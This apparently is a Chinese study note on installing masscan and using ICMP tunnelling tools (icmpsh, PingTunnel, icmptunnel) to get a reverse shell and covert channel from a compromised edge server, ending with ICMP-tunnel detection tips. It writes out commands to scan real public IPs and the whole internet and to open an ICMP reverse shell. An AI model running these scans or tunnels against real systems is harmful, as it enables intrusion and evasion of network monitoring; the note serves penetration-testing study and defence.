8月15日笔记

masscan安装使用

首先需要有c编译器环境。查看是否有c编译器环境:

复制代码
gcc -v

如果系统中已经安装了 GCC,这个命令将输出 GCC 的版本信息。如果未安装,你会看到类似于 "command not found" 的错误消息。

如果没有下载,使用如下命令:

复制代码
sudo apt-get --assume-yes install git make gcc

masscan下载

复制代码
git clone https://github.com/robertdavidgraham/masscan

文件会下载到你打开命令行显示的路径下。

复制代码
cd masscan  #第一步
make  #第二步

执行之后会在masscan/bin下生成一个可执行文件。

执行命令:

复制代码
make install

安装完成。

用法

扫描某IP的部分端口

复制代码
masscan 183.2.172.185 -p 0-400          #扫描指定IP下的0-400端口

高速扫描某ip下的端口

复制代码
masscan -p 1-2000 125.217.52.215 --max-rate 100000  #扫描整个子网下1-2000端口
复制代码
masscan 125.217.52.215 --top-ports 100 > result.txt       #扫描结果另存为result.txt文件

扫描整个互联网😅

复制代码
masscan 0.0.0.0/0 -p0-65535 --max-rate 100000		//扫描整个互联网

只有ICMP协议出网场景

ICMP是一个比较特殊的协议,在一般的通信协议里如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要,最常见的ICMP消息为ping命令的回复,攻击者可以利用命令行得到比回复更多的ICMP请求,在通常情况下,每个ping命令都有相对应的回复与请求.

在内网中,如果攻击者使用 HTTP、DNS 等应用层隧道都失败了,那么或许可以试试网络层的 ICMP 隧道。

常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等。

icmpsh工具安装使用

icmpsh工具使用简单,便于"携带"(跨平台),运行时不需要管理员权限。下载命令。

复制代码
git clone https://github.com/inquisb/icmpsh.git

攻击机和边缘服务器(被攻击者获取shell)都要安装。

因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入以下命令来关闭本地系统的ICMP应答(如果需要回复系统应答,则设置为0即可),否则shell的运行会不稳定(表现为一直刷屏,无法进行交互输入):

复制代码
sysctl -w net.ipv4.icmp_echo_ignore_all=1

查看如何使用,根据脚本使用方法在终端执行以下命令:

复制代码
python2 icmpsh_m.py 192.168.5.128 192.168.5.138

发现需要impacket安装包。使用命令

复制代码
apt-get install python-impacket

发现找不到包。直接到github上找到源代码自己安装。

复制代码
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python2 setup.py install
命令全部执行完之后可以把git下来的文件删掉了。

之后在边缘web服务器上执行以下命令:

复制代码
icmpsh.exe -t 192.168.5.128


现在我们可以在攻击者的主机看到目标主机的shell。有点乱码,使用命令chcp 65001

PingTunnel的安装使用

经过浏览了数篇文章,发现icmpsh还是有些不足。第一,不能跨平台,其客户端只有icmpsh.exe针对windows的二进制文件,遇到靶机是*inux环境无法使用。第二,icmpsh本质上还不是一个隧道,只是一个反弹shell。第三,icmpsh没有密码认证机制,shell很可能被盗用。

PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,可以为隧道设置密码。
libpcap 是一个跨平台的 C 语言库,用于捕获和分析网络数据包。

安装libpcap的依赖环境

复制代码
apt-get install byacc
apt-get install flex bison

安装libpcap依赖库

复制代码
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

安装PingTunnel

复制代码
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

但是由于环境限制,我这里无法进行复现,那个pingtunnel环境是攻击机(kali)和边缘服务器(linux类型的)都要安装的。我这里只有windows边缘服务器😭。(暂停,以后有机会再搞)

icmptunnel安装使用

icmptunnel 与 icmpsh 都是基于 ICMP 协议的隧道工具,但它们在功能上有所不同:icmptunnel 更侧重于提供一个稳定的、加密的双向数据传输隧道,支持多种加密方式,适用于长时间稳定连接的需求,如远程桌面或文件传输;而 icmpsh 则更偏向于提供一个交互式的 shell 环境,主要用于命令执行和简单文件传输。

首先去github下载项目:https://github.com/T3rry7f/ICMPTunnel

之后在拿到权限的边界服务器端禁用icmp回复:

复制代码
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

之后执行IcmpTunnel.py脚本:

复制代码
python IcmpTunnel_S.py

之后再攻击主机执行以下命令:

复制代码
python IcmpTunnel_C.py {serverIP} {needConnectIP} {needConnectPort}

之后在边界Server端返回一个port并在攻击主机端使用返回的port进行远程连接,此时的ip为边界服务器的ip地址:

复制代码
rdesktop 192.168.5.128:44171

隧道防御

使用ICMP隧道时会产生大量的ICMP数据包,我们可以通过Wireshark进行ICMP数据包分析,以检测恶意ICMP流量。

  • 检测同一来源的ICMP数据包的数量,一个正常的ping命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包
  • 注意哪些Payload大于64bit的ICMP数据包
  • 寻找响应数据包中的Payload与请求数据包中的Payload不一致的ICMP数据包。
  • 检查ICMP数据包的协议标签,例如:icmptunnel会在所有的ICMP Payload前面添加"TUNL"标记来标识隧道------这就是特征。
相关推荐
silvamux_2 小时前
10款模型写种草笔记:可发布性、返工来源与成本数据缺口复盘
java·数据库·笔记
蒸蒸yyyyzwd3 小时前
kafka、redis、mysql不熟悉问题总结
笔记·八股
hgy89693 小时前
深度学习(小白笔记)——迁徙
人工智能·笔记·深度学习
摇滚侠3 小时前
《On Java 中文版 基础卷》阅读笔记 实现隐藏 11
java·笔记·python
HackTwoHub4 小时前
双通道红队 C2,MCP 接入 AI,全自动渗透实战利器,具备自动提权、进程伪装、无文件上线能力,载荷 AES 加密
安全·web安全·网络安全·系统安全·密码学·可信计算技术·安全架构
前进的李工6 小时前
Agent 学习笔记 02:Harness 与工作流怎么理解
笔记·学习·agent·工作流·harness
海鸥-w8 小时前
数据库冗余字段设计笔记
java·数据库·笔记·oracle
滴啦嘟啦哒8 小时前
【具身笔记】【原理探究】一、对PI05源码的实践笔记
笔记·python·vla·具身
览讯冷却10 小时前
冷却塔噪声的健康危害与法规要求的技术梳理
经验分享·笔记·科技·其他·百度·制造·业界资讯
Dory_Youth10 小时前
电脑的搜索功能不能用,一搜就黑屏闪退
运维·笔记